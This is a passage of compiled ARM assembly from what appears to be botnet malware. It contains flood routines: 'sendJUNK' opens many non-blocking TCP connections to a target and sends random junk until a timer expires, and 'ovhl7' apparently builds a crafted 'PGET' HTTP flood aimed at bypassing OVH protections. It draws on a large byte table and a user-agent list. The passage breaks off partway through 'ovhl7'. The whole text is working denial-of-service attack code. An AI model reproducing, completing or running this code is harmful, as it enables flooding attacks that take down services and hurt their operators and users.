	mov	r3, #0
	beq	.L344
	bl	__stack_chk_fail
.L344:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L346:
	.align	2
.L345:
	.word	.LC42
	.word	.LC38
	.word	954437177
	.word	useragents
	.word	.LC41
	.size	sendHTTPtwo, .-sendHTTPtwo
	.section	.rodata
	.align	2
.LC43:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	sendJUNK
	.syntax unified
	.arm
	.fpu softvfp
	.type	sendJUNK, %function
sendJUNK:
	@ args = 0, pretend = 0, frame = 216
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, fp, lr}
	add	fp, sp, #12
	sub	sp, sp, #224
	str	r0, [fp, #-216]
	str	r1, [fp, #-220]
	str	r2, [fp, #-224]
	ldr	r3, .L370
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	mov	r3, sp
	mov	r5, r3
	bl	getdtablesize
	mov	r3, r0
	lsr	r2, r3, #31
	add	r3, r2, r3
	asr	r3, r3, #1
	str	r3, [fp, #-196]
	mov	r3, #2
	strh	r3, [fp, #-160]	@ movhi
	ldr	r3, [fp, #-220]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	strh	r3, [fp, #-158]	@ movhi
	sub	r3, fp, #160
	add	r3, r3, #4
	mov	r1, r3
	ldr	r0, [fp, #-216]
	bl	getHost
	mov	r3, r0
	cmp	r3, #0
	beq	.L348
	mov	sp, r5
	b	.L347
.L348:
	sub	r3, fp, #160
	add	r3, r3, #8
	mov	r2, #8
	mov	r1, #0
	mov	r0, r3
	bl	memset
	ldr	ip, [fp, #-196]
	sub	r3, ip, #1
	str	r3, [fp, #-192]
	mov	r3, ip
	mov	r0, r3
	mov	r1, #0
	mov	r2, #0
	mov	r3, #0
	lsl	r3, r1, #6
	orr	r3, r3, r0, lsr #26
	lsl	r2, r0, #6
	mov	r3, ip
	mov	r0, r3
	mov	r1, #0
	mov	r2, #0
	mov	r3, #0
	lsl	r3, r1, #6
	orr	r3, r3, r0, lsr #26
	lsl	r2, r0, #6
	mov	r3, ip
	lsl	r3, r3, #3
	add	r3, r3, #7
	lsr	r3, r3, #3
	lsl	r3, r3, #3
	sub	sp, sp, r3
	add	r3, sp, #8
	add	r3, r3, #3
	lsr	r3, r3, #2
	lsl	r3, r3, #2
	str	r3, [fp, #-188]
	ldr	r2, [fp, #-196]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	mov	r2, r3
	mov	r1, #0
	ldr	r0, [fp, #-188]
	bl	memset
	mov	r0, #1024
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-184]
	mov	r2, #1024
	mov	r1, #0
	ldr	r0, [fp, #-184]
	bl	memset
	mov	r0, #0
	bl	time
	mov	r2, r0
	ldr	r3, [fp, #-224]
	add	r3, r3, r2
	str	r3, [fp, #-180]
	b	.L350
.L366:
	mov	r3, #0
	str	r3, [fp, #-200]
	b	.L351
.L365:
	ldr	r2, [fp, #-188]
	ldr	r3, [fp, #-200]
	lsl	r3, r3, #3
	add	r3, r2, r3
	ldrb	r3, [r3, #4]	@ zero_extendqisi2
	cmp	r3, #2
	beq	.L352
	cmp	r3, #2
	bgt	.L353
	cmp	r3, #0
	beq	.L354
	cmp	r3, #1
	beq	.L355
	b	.L353
.L354:
	mov	r2, #0
	mov	r1, #1
	mov	r0, #2
	bl	socket
	mov	r1, r0
	ldr	r3, [fp, #-188]
	ldr	r2, [fp, #-200]
	str	r1, [r3, r2, lsl #3]
	ldr	r3, [fp, #-188]
	ldr	r2, [fp, #-200]
	ldr	r4, [r3, r2, lsl #3]
	ldr	r3, [fp, #-188]
	ldr	r2, [fp, #-200]
	ldr	r3, [r3, r2, lsl #3]
	mov	r2, #0
	mov	r1, #3
	mov	r0, r3
	bl	fcntl
	mov	r3, r0
	orr	r3, r3, #2048
	mov	r2, r3
	mov	r1, #4
	mov	r0, r4
	bl	fcntl
	ldr	r3, [fp, #-188]
	ldr	r2, [fp, #-200]
	ldr	r3, [r3, r2, lsl #3]
	sub	r1, fp, #160
	mov	r2, #16
	mov	r0, r3
	bl	connect
	mov	r3, r0
	cmn	r3, #1
	bne	.L356
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	cmp	r3, #115
	beq	.L357
.L356:
	ldr	r3, [fp, #-188]
	ldr	r2, [fp, #-200]
	ldr	r3, [r3, r2, lsl #3]
	mov	r0, r3
	bl	close
	b	.L353
.L357:
	ldr	r2, [fp, #-188]
	ldr	r3, [fp, #-200]
	lsl	r3, r3, #3
	add	r3, r2, r3
	mov	r2, #1
	strb	r2, [r3, #4]
	b	.L353
.L355:
	sub	r3, fp, #144
	str	r3, [fp, #-176]
	mov	r3, #0
	str	r3, [fp, #-204]
	b	.L359
.L360:
	ldr	r3, [fp, #-176]
	ldr	r2, [fp, #-204]
	mov	r1, #0
	str	r1, [r3, r2, lsl #2]
	ldr	r3, [fp, #-204]
	add	r3, r3, #1
	str	r3, [fp, #-204]
.L359:
	ldr	r3, [fp, #-204]
	cmp	r3, #31
	bls	.L360
	ldr	r3, [fp, #-188]
	ldr	r2, [fp, #-200]
	ldr	r3, [r3, r2, lsl #3]
	add	r2, r3, #31
	cmp	r3, #0
	movlt	r3, r2
	movge	r3, r3
	asr	r3, r3, #5
	mov	r2, r3
	lsl	r3, r2, #2
	sub	r1, fp, #12
	add	r3, r1, r3
	ldr	r1, [r3, #-132]
	ldr	r3, [fp, #-188]
	ldr	r0, [fp, #-200]
	ldr	r3, [r3, r0, lsl #3]
	rsbs	r0, r3, #0
	and	r3, r3, #31
	and	r0, r0, #31
	rsbpl	r3, r0, #0
	mov	r0, #1
	lsl	r3, r0, r3
	orr	r1, r1, r3
	lsl	r3, r2, #2
	sub	r2, fp, #12
	add	r3, r2, r3
	str	r1, [r3, #-132]
	mov	r3, #0
	str	r3, [fp, #-168]
	ldr	r3, .L370+4
	str	r3, [fp, #-164]
	ldr	r3, [fp, #-188]
	ldr	r2, [fp, #-200]
	ldr	r3, [r3, r2, lsl #3]
	add	r0, r3, #1
	sub	r2, fp, #144
	sub	r3, fp, #168
	str	r3, [sp]
	mov	r3, #0
	mov	r1, #0
	bl	select
	str	r0, [fp, #-172]
	ldr	r3, [fp, #-172]
	cmp	r3, #1
	bne	.L361
	mov	r3, #4
	str	r3, [fp, #-212]
	ldr	r3, [fp, #-188]
	ldr	r2, [fp, #-200]
	ldr	r0, [r3, r2, lsl #3]
	sub	r2, fp, #208
	sub	r3, fp, #212
	str	r3, [sp]
	mov	r3, r2
	mov	r2, #4
	mov	r1, #1
	bl	getsockopt
	ldr	r3, [fp, #-208]
	cmp	r3, #0
	beq	.L362
	ldr	r3, [fp, #-188]
	ldr	r2, [fp, #-200]
	ldr	r3, [r3, r2, lsl #3]
	mov	r0, r3
	bl	close
	ldr	r2, [fp, #-188]
	ldr	r3, [fp, #-200]
	lsl	r3, r3, #3
	add	r3, r2, r3
	mov	r2, #0
	strb	r2, [r3, #4]
	b	.L368
.L362:
	ldr	r2, [fp, #-188]
	ldr	r3, [fp, #-200]
	lsl	r3, r3, #3
	add	r3, r2, r3
	mov	r2, #2
	strb	r2, [r3, #4]
	b	.L368
.L361:
	ldr	r3, [fp, #-172]
	cmn	r3, #1
	bne	.L368
	ldr	r3, [fp, #-188]
	ldr	r2, [fp, #-200]
	ldr	r3, [r3, r2, lsl #3]
	mov	r0, r3
	bl	close
	ldr	r2, [fp, #-188]
	ldr	r3, [fp, #-200]
	lsl	r3, r3, #3
	add	r3, r2, r3
	mov	r2, #0
	strb	r2, [r3, #4]
	b	.L368
.L352:
	mov	r1, #1024
	ldr	r0, [fp, #-184]
	bl	makeRandomStr
	ldr	r3, [fp, #-188]
	ldr	r2, [fp, #-200]
	ldr	r0, [r3, r2, lsl #3]
	mov	r3, #16384
	mov	r2, #1024
	ldr	r1, [fp, #-184]
	bl	send
	mov	r3, r0
	cmn	r3, #1
	bne	.L369
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	cmp	r3, #11
	beq	.L369
	ldr	r3, [fp, #-188]
	ldr	r2, [fp, #-200]
	ldr	r3, [r3, r2, lsl #3]
	mov	r0, r3
	bl	close
	ldr	r2, [fp, #-188]
	ldr	r3, [fp, #-200]
	lsl	r3, r3, #3
	add	r3, r2, r3
	mov	r2, #0
	strb	r2, [r3, #4]
	b	.L369
.L368:
	nop
	b	.L353
.L369:
	nop
.L353:
	ldr	r3, [fp, #-200]
	add	r3, r3, #1
	str	r3, [fp, #-200]
.L351:
	ldr	r2, [fp, #-200]
	ldr	r3, [fp, #-196]
	cmp	r2, r3
	blt	.L365
.L350:
	mov	r0, #0
	bl	time
	mov	r2, r0
	ldr	r3, [fp, #-180]
	cmp	r3, r2
	bgt	.L366
	mov	sp, r5
.L347:
	ldr	r3, .L370
	ldr	r2, [r3]
	ldr	r3, [fp, #-16]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L367
	bl	__stack_chk_fail
.L367:
	sub	sp, fp, #12
	@ sp needed
	pop	{r4, r5, fp, pc}
.L371:
	.align	2
.L370:
	.word	.LC43
	.word	10000
	.size	sendJUNK, .-sendJUNK
	.section	.rodata
	.align	2
.LC44:
	.ascii	"\002\000"
	.align	2
.LC45:
	.ascii	"\001\000"
	.align	2
.LC46:
	.ascii	"\000\000"
	.align	2
.LC47:
	.ascii	"\377\000"
	.align	2
.LC48:
	.ascii	"\376\000"
	.align	2
.LC49:
	.ascii	"\375\000"
	.align	2
.LC50:
	.ascii	"\374\000"
	.align	2
.LC51:
	.ascii	"\373\000"
	.align	2
.LC52:
	.ascii	"\372\000"
	.align	2
.LC53:
	.ascii	"\371\000"
	.align	2
.LC54:
	.ascii	"\370\000"
	.align	2
.LC55:
	.ascii	"\367\000"
	.align	2
.LC56:
	.ascii	"\366\000"
	.align	2
.LC57:
	.ascii	"\365\000"
	.align	2
.LC58:
	.ascii	"\364\000"
	.align	2
.LC59:
	.ascii	"\363\000"
	.align	2
.LC60:
	.ascii	"\362\000"
	.align	2
.LC61:
	.ascii	"\361\000"
	.align	2
.LC62:
	.ascii	"\360\000"
	.align	2
.LC63:
	.ascii	"\357\000"
	.align	2
.LC64:
	.ascii	"\356\000"
	.align	2
.LC65:
	.ascii	"\355\000"
	.align	2
.LC66:
	.ascii	"\354\000"
	.align	2
.LC67:
	.ascii	"\353\000"
	.align	2
.LC68:
	.ascii	"\352\000"
	.align	2
.LC69:
	.ascii	"\351\000"
	.align	2
.LC70:
	.ascii	"\350\000"
	.align	2
.LC71:
	.ascii	"\347\000"
	.align	2
.LC72:
	.ascii	"\346\000"
	.align	2
.LC73:
	.ascii	"\345\000"
	.align	2
.LC74:
	.ascii	"\344\000"
	.align	2
.LC75:
	.ascii	"\343\000"
	.align	2
.LC76:
	.ascii	"\342\000"
	.align	2
.LC77:
	.ascii	"\341\000"
	.align	2
.LC78:
	.ascii	"\340\000"
	.align	2
.LC79:
	.ascii	"\337\000"
	.align	2
.LC80:
	.ascii	"\336\000"
	.align	2
.LC81:
	.ascii	"\335\000"
	.align	2
.LC82:
	.ascii	"\334\000"
	.align	2
.LC83:
	.ascii	"\333\000"
	.align	2
.LC84:
	.ascii	"\332\000"
	.align	2
.LC85:
	.ascii	"\331\000"
	.align	2
.LC86:
	.ascii	"\330\000"
	.align	2
.LC87:
	.ascii	"\327\000"
	.align	2
.LC88:
	.ascii	"\326\000"
	.align	2
.LC89:
	.ascii	"\325\000"
	.align	2
.LC90:
	.ascii	"\324\000"
	.align	2
.LC91:
	.ascii	"\323\000"
	.align	2
.LC92:
	.ascii	"\322\000"
	.align	2
.LC93:
	.ascii	"\321\000"
	.align	2
.LC94:
	.ascii	"\320\000"
	.align	2
.LC95:
	.ascii	"\317\000"
	.align	2
.LC96:
	.ascii	"\316\000"
	.align	2
.LC97:
	.ascii	"\315\000"
	.align	2
.LC98:
	.ascii	"\314\000"
	.align	2
.LC99:
	.ascii	"\313\000"
	.align	2
.LC100:
	.ascii	"\312\000"
	.align	2
.LC101:
	.ascii	"\311\000"
	.align	2
.LC102:
	.ascii	"\310\000"
	.align	2
.LC103:
	.ascii	"\307\000"
	.align	2
.LC104:
	.ascii	"\306\000"
	.align	2
.LC105:
	.ascii	"\305\000"
	.align	2
.LC106:
	.ascii	"\304\000"
	.align	2
.LC107:
	.ascii	"\303\000"
	.align	2
.LC108:
	.ascii	"\302\000"
	.align	2
.LC109:
	.ascii	"\301\000"
	.align	2
.LC110:
	.ascii	"\300\000"
	.align	2
.LC111:
	.ascii	"\277\000"
	.align	2
.LC112:
	.ascii	"\276\000"
	.align	2
.LC113:
	.ascii	"\275\000"
	.align	2
.LC114:
	.ascii	"\274\000"
	.align	2
.LC115:
	.ascii	"\273\000"
	.align	2
.LC116:
	.ascii	"\272\000"
	.align	2
.LC117:
	.ascii	"\271\000"
	.align	2
.LC118:
	.ascii	"\270\000"
	.align	2
.LC119:
	.ascii	"\267\000"
	.align	2
.LC120:
	.ascii	"\266\000"
	.align	2
.LC121:
	.ascii	"\265\000"
	.align	2
.LC122:
	.ascii	"\264\000"
	.align	2
.LC123:
	.ascii	"\263\000"
	.align	2
.LC124:
	.ascii	"\262\000"
	.align	2
.LC125:
	.ascii	"\261\000"
	.align	2
.LC126:
	.ascii	"\260\000"
	.align	2
.LC127:
	.ascii	"\257\000"
	.align	2
.LC128:
	.ascii	"\256\000"
	.align	2
.LC129:
	.ascii	"\255\000"
	.align	2
.LC130:
	.ascii	"\254\000"
	.align	2
.LC131:
	.ascii	"\253\000"
	.align	2
.LC132:
	.ascii	"\252\000"
	.align	2
.LC133:
	.ascii	"\251\000"
	.align	2
.LC134:
	.ascii	"\250\000"
	.align	2
.LC135:
	.ascii	"\247\000"
	.align	2
.LC136:
	.ascii	"\246\000"
	.align	2
.LC137:
	.ascii	"\245\000"
	.align	2
.LC138:
	.ascii	"\244\000"
	.align	2
.LC139:
	.ascii	"\243\000"
	.align	2
.LC140:
	.ascii	"\242\000"
	.align	2
.LC141:
	.ascii	"\241\000"
	.align	2
.LC142:
	.ascii	"\240\000"
	.align	2
.LC143:
	.ascii	"\237\000"
	.align	2
.LC144:
	.ascii	"\236\000"
	.align	2
.LC145:
	.ascii	"\235\000"
	.align	2
.LC146:
	.ascii	"\234\000"
	.align	2
.LC147:
	.ascii	"\233\000"
	.align	2
.LC148:
	.ascii	"\232\000"
	.align	2
.LC149:
	.ascii	"\231\000"
	.align	2
.LC150:
	.ascii	"\230\000"
	.align	2
.LC151:
	.ascii	"\227\000"
	.align	2
.LC152:
	.ascii	"\226\000"
	.align	2
.LC153:
	.ascii	"\225\000"
	.align	2
.LC154:
	.ascii	"\224\000"
	.align	2
.LC155:
	.ascii	"\223\000"
	.align	2
.LC156:
	.ascii	"\222\000"
	.align	2
.LC157:
	.ascii	"\221\000"
	.align	2
.LC158:
	.ascii	"\220\000"
	.align	2
.LC159:
	.ascii	"\217\000"
	.align	2
.LC160:
	.ascii	"\216\000"
	.align	2
.LC161:
	.ascii	"\215\000"
	.align	2
.LC162:
	.ascii	"\214\000"
	.align	2
.LC163:
	.ascii	"\213\000"
	.align	2
.LC164:
	.ascii	"\212\000"
	.align	2
.LC165:
	.ascii	"\211\000"
	.align	2
.LC166:
	.ascii	"\210\000"
	.align	2
.LC167:
	.ascii	"\207\000"
	.align	2
.LC168:
	.ascii	"\206\000"
	.align	2
.LC169:
	.ascii	"\205\000"
	.align	2
.LC170:
	.ascii	"\204\000"
	.align	2
.LC171:
	.ascii	"\203\000"
	.align	2
.LC172:
	.ascii	"\202\000"
	.align	2
.LC173:
	.ascii	"\201\000"
	.align	2
.LC174:
	.ascii	"\200\000"
	.align	2
.LC175:
	.ascii	"\177\000"
	.align	2
.LC176:
	.ascii	"~\000"
	.align	2
.LC177:
	.ascii	"}\000"
	.align	2
.LC178:
	.ascii	"|\000"
	.align	2
.LC179:
	.ascii	"{\000"
	.align	2
.LC180:
	.ascii	"z\000"
	.align	2
.LC181:
	.ascii	"y\000"
	.align	2
.LC182:
	.ascii	"x\000"
	.align	2
.LC183:
	.ascii	"w\000"
	.align	2
.LC184:
	.ascii	"v\000"
	.align	2
.LC185:
	.ascii	"u\000"
	.align	2
.LC186:
	.ascii	"t\000"
	.align	2
.LC187:
	.ascii	"s\000"
	.align	2
.LC188:
	.ascii	"r\000"
	.align	2
.LC189:
	.ascii	"q\000"
	.align	2
.LC190:
	.ascii	"p\000"
	.align	2
.LC191:
	.ascii	"o\000"
	.align	2
.LC192:
	.ascii	"n\000"
	.align	2
.LC193:
	.ascii	"m\000"
	.align	2
.LC194:
	.ascii	"l\000"
	.align	2
.LC195:
	.ascii	"k\000"
	.align	2
.LC196:
	.ascii	"j\000"
	.align	2
.LC197:
	.ascii	"i\000"
	.align	2
.LC198:
	.ascii	"h\000"
	.align	2
.LC199:
	.ascii	"g\000"
	.align	2
.LC200:
	.ascii	"f\000"
	.align	2
.LC201:
	.ascii	"e\000"
	.align	2
.LC202:
	.ascii	"d\000"
	.align	2
.LC203:
	.ascii	"c\000"
	.align	2
.LC204:
	.ascii	"b\000"
	.align	2
.LC205:
	.ascii	"a\000"
	.align	2
.LC206:
	.ascii	"`\000"
	.align	2
.LC207:
	.ascii	"_\000"
	.align	2
.LC208:
	.ascii	"^\000"
	.align	2
.LC209:
	.ascii	"]\000"
	.align	2
.LC210:
	.ascii	"\\\000"
	.align	2
.LC211:
	.ascii	"[\000"
	.align	2
.LC212:
	.ascii	"Z\000"
	.align	2
.LC213:
	.ascii	"Y\000"
	.align	2
.LC214:
	.ascii	"X\000"
	.align	2
.LC215:
	.ascii	"W\000"
	.align	2
.LC216:
	.ascii	"V\000"
	.align	2
.LC217:
	.ascii	"U\000"
	.align	2
.LC218:
	.ascii	"T\000"
	.align	2
.LC219:
	.ascii	"S\000"
	.align	2
.LC220:
	.ascii	"R\000"
	.align	2
.LC221:
	.ascii	"Q\000"
	.align	2
.LC222:
	.ascii	"P\000"
	.align	2
.LC223:
	.ascii	"O\000"
	.align	2
.LC224:
	.ascii	"N\000"
	.align	2
.LC225:
	.ascii	"M\000"
	.align	2
.LC226:
	.ascii	"L\000"
	.align	2
.LC227:
	.ascii	"K\000"
	.align	2
.LC228:
	.ascii	"J\000"
	.align	2
.LC229:
	.ascii	"I\000"
	.align	2
.LC230:
	.ascii	"H\000"
	.align	2
.LC231:
	.ascii	"G\000"
	.align	2
.LC232:
	.ascii	"F\000"
	.align	2
.LC233:
	.ascii	"E\000"
	.align	2
.LC234:
	.ascii	"D\000"
	.align	2
.LC235:
	.ascii	"C\000"
	.align	2
.LC236:
	.ascii	"B\000"
	.align	2
.LC237:
	.ascii	"A\000"
	.align	2
.LC238:
	.ascii	"@\000"
	.align	2
.LC239:
	.ascii	"?\000"
	.align	2
.LC240:
	.ascii	">\000"
	.align	2
.LC241:
	.ascii	"=\000"
	.align	2
.LC242:
	.ascii	"<\000"
	.align	2
.LC243:
	.ascii	";\000"
	.align	2
.LC244:
	.ascii	":\000"
	.align	2
.LC245:
	.ascii	"9\000"
	.align	2
.LC246:
	.ascii	"8\000"
	.align	2
.LC247:
	.ascii	"7\000"
	.align	2
.LC248:
	.ascii	"6\000"
	.align	2
.LC249:
	.ascii	"5\000"
	.align	2
.LC250:
	.ascii	"4\000"
	.align	2
.LC251:
	.ascii	"3\000"
	.align	2
.LC252:
	.ascii	"2\000"
	.align	2
.LC253:
	.ascii	"1\000"
	.align	2
.LC254:
	.ascii	"0\000"
	.align	2
.LC255:
	.ascii	"/\000"
	.align	2
.LC256:
	.ascii	".\000"
	.align	2
.LC257:
	.ascii	"-\000"
	.align	2
.LC258:
	.ascii	"+\000"
	.align	2
.LC259:
	.ascii	"*\000"
	.align	2
.LC260:
	.ascii	")\000"
	.align	2
.LC261:
	.ascii	"(\000"
	.align	2
.LC262:
	.ascii	"'\000"
	.align	2
.LC263:
	.ascii	"&\000"
	.align	2
.LC264:
	.ascii	"%\000"
	.align	2
.LC265:
	.ascii	"$\000"
	.align	2
.LC266:
	.ascii	"#\000"
	.align	2
.LC267:
	.ascii	"\"\000"
	.align	2
.LC268:
	.ascii	"!\000"
	.align	2
.LC269:
	.ascii	" \000"
	.align	2
.LC270:
	.ascii	"\037\000"
	.align	2
.LC271:
	.ascii	"\036\000"
	.align	2
.LC272:
	.ascii	"\035\000"
	.align	2
.LC273:
	.ascii	"\034\000"
	.align	2
.LC274:
	.ascii	"\033\000"
	.align	2
.LC275:
	.ascii	"\032\000"
	.align	2
.LC276:
	.ascii	"\031\000"
	.align	2
.LC277:
	.ascii	"\030\000"
	.align	2
.LC278:
	.ascii	"\027\000"
	.align	2
.LC279:
	.ascii	"\026\000"
	.align	2
.LC280:
	.ascii	"\025\000"
	.align	2
.LC281:
	.ascii	"\024\000"
	.align	2
.LC282:
	.ascii	"\023\000"
	.align	2
.LC283:
	.ascii	"\022\000"
	.align	2
.LC284:
	.ascii	"\021\000"
	.align	2
.LC285:
	.ascii	"\020\000"
	.align	2
.LC286:
	.ascii	"\017\000"
	.align	2
.LC287:
	.ascii	"\016\000"
	.align	2
.LC288:
	.ascii	"\015\000"
	.align	2
.LC289:
	.ascii	"\014\000"
	.align	2
.LC290:
	.ascii	"\013\000"
	.align	2
.LC291:
	.ascii	"\012\000"
	.align	2
.LC292:
	.ascii	"\011\000"
	.align	2
.LC293:
	.ascii	"\010\000"
	.align	2
.LC294:
	.ascii	"\007\000"
	.align	2
.LC295:
	.ascii	"\006\000"
	.align	2
.LC296:
	.ascii	"\005\000"
	.align	2
.LC297:
	.ascii	"\004\000"
	.align	2
.LC298:
	.ascii	"\003\000"
	.align	2
.LC299:
	.ascii	"PGET \000\000\000\000\000\000%s HTTP/1.1\015\012Hos"
	.ascii	"t: %s\015\012User-Agent: %s\015\012Connection: clos"
	.ascii	"e\015\012\015\012\000"
	.align	2
.LC300:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	ovhl7
	.syntax unified
	.arm
	.fpu softvfp
	.type	ovhl7, %function
ovhl7:
	@ args = 0, pretend = 0, frame = 2600
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #3616
	str	r0, [fp, #-2592]
	str	r2, [fp, #-2600]
	str	r3, [fp, #-2604]
	sub	r3, fp, #4
	sub	r3, r3, #2576
	sub	r3, r3, #14
	mov	r2, r1	@ movhi
	strh	r2, [r3]	@ movhi
	ldr	r3, .L379
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r0, #0
	bl	time
	mov	r2, r0
	ldr	r3, [fp, #-2600]
	add	r3, r3, r2
	str	r3, [fp, #-2584]
	mov	r3, #0
	str	r3, [fp, #-2580]
	sub	r0, fp, #2048
	sub	r0, r0, #4
	sub	r0, r0, #4
	ldr	r3, .L379+4
	str	r3, [sp, #1008]
	ldr	r3, .L379+8
	str	r3, [sp, #1004]
	ldr	r3, .L379+12
	str	r3, [sp, #1000]
	ldr	r3, .L379+16
	str	r3, [sp, #996]
	ldr	r3, .L379+20
	str	r3, [sp, #992]
	ldr	r3, .L379+24
	str	r3, [sp, #988]
	ldr	r3, .L379+28
	str	r3, [sp, #984]
	ldr	r3, .L379+32
	str	r3, [sp, #980]
	ldr	r3, .L379+36
	str	r3, [sp, #976]
	ldr	r3, .L379+40
	str	r3, [sp, #972]
	ldr	r3, .L379+44
	str	r3, [sp, #968]
	ldr	r3, .L379+48
	str	r3, [sp, #964]
	ldr	r3, .L379+52
	str	r3, [sp, #960]
	ldr	r3, .L379+56
	str	r3, [sp, #956]
	ldr	r3, .L379+60
	str	r3, [sp, #952]
	ldr	r3, .L379+64
	str	r3, [sp, #948]
	ldr	r3, .L379+68
	str	r3, [sp, #944]
	ldr	r3, .L379+72
	str	r3, [sp, #940]
	ldr	r3, .L379+76
	str	r3, [sp, #936]
	ldr	r3, .L379+80
	str	r3, [sp, #932]
	ldr	r3, .L379+84
	str	r3, [sp, #928]
	ldr	r3, .L379+88
	str	r3, [sp, #924]
	ldr	r3, .L379+92
	str	r3, [sp, #920]
	ldr	r3, .L379+96
	str	r3, [sp, #916]
	ldr	r3, .L379+100
	str	r3, [sp, #912]
	ldr	r3, .L379+104
	str	r3, [sp, #908]
	ldr	r3, .L379+108
	str	r3, [sp, #904]
	ldr	r3, .L379+112
	str	r3, [sp, #900]
	ldr	r3, .L379+116
	str	r3, [sp, #896]
	ldr	r3, .L379+120
	str	r3, [sp, #892]
	ldr	r3, .L379+124
	str	r3, [sp, #888]
	ldr	r3, .L379+128
	str	r3, [sp, #884]
	ldr	r3, .L379+132
	str	r3, [sp, #880]
	ldr	r3, .L379+136
	str	r3, [sp, #876]
	ldr	r3, .L379+140
	str	r3, [sp, #872]
	ldr	r3, .L379+144
	str	r3, [sp, #868]
	ldr	r3, .L379+148
	str	r3, [sp, #864]
	ldr	r3, .L379+152
	str	r3, [sp, #860]
	ldr	r3, .L379+156
	str	r3, [sp, #856]
	ldr	r3, .L379+160
	str	r3, [sp, #852]
	ldr	r3, .L379+164
	str	r3, [sp, #848]
	ldr	r3, .L379+168
	str	r3, [sp, #844]
	ldr	r3, .L379+172
	str	r3, [sp, #840]
	ldr	r3, .L379+176
	str	r3, [sp, #836]
	ldr	r3, .L379+180
	str	r3, [sp, #832]
	ldr	r3, .L379+184
	str	r3, [sp, #828]
	ldr	r3, .L379+188
	str	r3, [sp, #824]
	ldr	r3, .L379+192
	str	r3, [sp, #820]
	ldr	r3, .L379+196
	str	r3, [sp, #816]
	ldr	r3, .L379+200
	str	r3, [sp, #812]
	ldr	r3, .L379+204
	str	r3, [sp, #808]
	ldr	r3, .L379+208
	str	r3, [sp, #804]
	ldr	r3, .L379+212
	str	r3, [sp, #800]
	ldr	r3, .L379+216
	str	r3, [sp, #796]
	ldr	r3, .L379+220
	str	r3, [sp, #792]
	ldr	r3, .L379+224
	str	r3, [sp, #788]
	ldr	r3, .L379+228
	str	r3, [sp, #784]
	ldr	r3, .L379+232
	str	r3, [sp, #780]
	ldr	r3, .L379+236
	str	r3, [sp, #776]
	ldr	r3, .L379+240
	str	r3, [sp, #772]
	ldr	r3, .L379+244
	str	r3, [sp, #768]
	ldr	r3, .L379+248
	str	r3, [sp, #764]
	ldr	r3, .L379+252
	str	r3, [sp, #760]
	ldr	r3, .L379+256
	str	r3, [sp, #756]
	ldr	r3, .L379+260
	str	r3, [sp, #752]
	ldr	r3, .L379+264
	str	r3, [sp, #748]
	ldr	r3, .L379+268
	str	r3, [sp, #744]
	ldr	r3, .L379+272
	str	r3, [sp, #740]
	ldr	r3, .L379+276
	str	r3, [sp, #736]
	ldr	r3, .L379+280
	str	r3, [sp, #732]
	ldr	r3, .L379+284
	str	r3, [sp, #728]
	ldr	r3, .L379+288
	str	r3, [sp, #724]
	ldr	r3, .L379+292
	str	r3, [sp, #720]
	ldr	r3, .L379+296
	str	r3, [sp, #716]
	ldr	r3, .L379+300
	str	r3, [sp, #712]
	ldr	r3, .L379+304
	str	r3, [sp, #708]
	ldr	r3, .L379+308
	str	r3, [sp, #704]
	ldr	r3, .L379+312
	str	r3, [sp, #700]
	ldr	r3, .L379+316
	str	r3, [sp, #696]
	ldr	r3, .L379+320
	str	r3, [sp, #692]
	ldr	r3, .L379+324
	str	r3, [sp, #688]
	ldr	r3, .L379+328
	str	r3, [sp, #684]
	ldr	r3, .L379+332
	str	r3, [sp, #680]
	ldr	r3, .L379+336
	str	r3, [sp, #676]
	ldr	r3, .L379+340
	str	r3, [sp, #672]
	ldr	r3, .L379+344
	str	r3, [sp, #668]
	ldr	r3, .L379+348
	str	r3, [sp, #664]
	ldr	r3, .L379+352
	str	r3, [sp, #660]
	ldr	r3, .L379+356
	str	r3, [sp, #656]
	ldr	r3, .L379+360
	str	r3, [sp, #652]
	ldr	r3, .L379+364
	str	r3, [sp, #648]
	ldr	r3, .L379+368
	str	r3, [sp, #644]
	ldr	r3, .L379+372
	str	r3, [sp, #640]
	ldr	r3, .L379+376
	str	r3, [sp, #636]
	ldr	r3, .L379+380
	str	r3, [sp, #632]
	ldr	r3, .L379+384
	str	r3, [sp, #628]
	ldr	r3, .L379+388
	str	r3, [sp, #624]
	ldr	r3, .L379+392
	str	r3, [sp, #620]
	ldr	r3, .L379+396
	str	r3, [sp, #616]
	ldr	r3, .L379+400
	str	r3, [sp, #612]
	ldr	r3, .L379+404
	str	r3, [sp, #608]
	ldr	r3, .L379+408
	str	r3, [sp, #604]
	ldr	r3, .L379+412
	str	r3, [sp, #600]
	ldr	r3, .L379+416
	str	r3, [sp, #596]
	ldr	r3, .L379+420
	str	r3, [sp, #592]
	ldr	r3, .L379+424
	str	r3, [sp, #588]
	ldr	r3, .L379+428
	str	r3, [sp, #584]
	ldr	r3, .L379+432
	str	r3, [sp, #580]
	ldr	r3, .L379+436
	str	r3, [sp, #576]
	ldr	r3, .L379+440
	str	r3, [sp, #572]
	ldr	r3, .L379+444
	str	r3, [sp, #568]
	ldr	r3, .L379+448
	str	r3, [sp, #564]
	ldr	r3, .L379+452
	str	r3, [sp, #560]
	ldr	r3, .L379+456
	str	r3, [sp, #556]
	ldr	r3, .L379+460
	str	r3, [sp, #552]
	ldr	r3, .L379+464
	str	r3, [sp, #548]
	ldr	r3, .L379+468
	str	r3, [sp, #544]
	ldr	r3, .L379+472
	str	r3, [sp, #540]
	ldr	r3, .L379+476
	str	r3, [sp, #536]
	ldr	r3, .L379+480
	str	r3, [sp, #532]
	ldr	r3, .L379+484
	str	r3, [sp, #528]
	ldr	r3, .L379+488
	str	r3, [sp, #524]
	ldr	r3, .L379+492
	str	r3, [sp, #520]
	ldr	r3, .L379+496
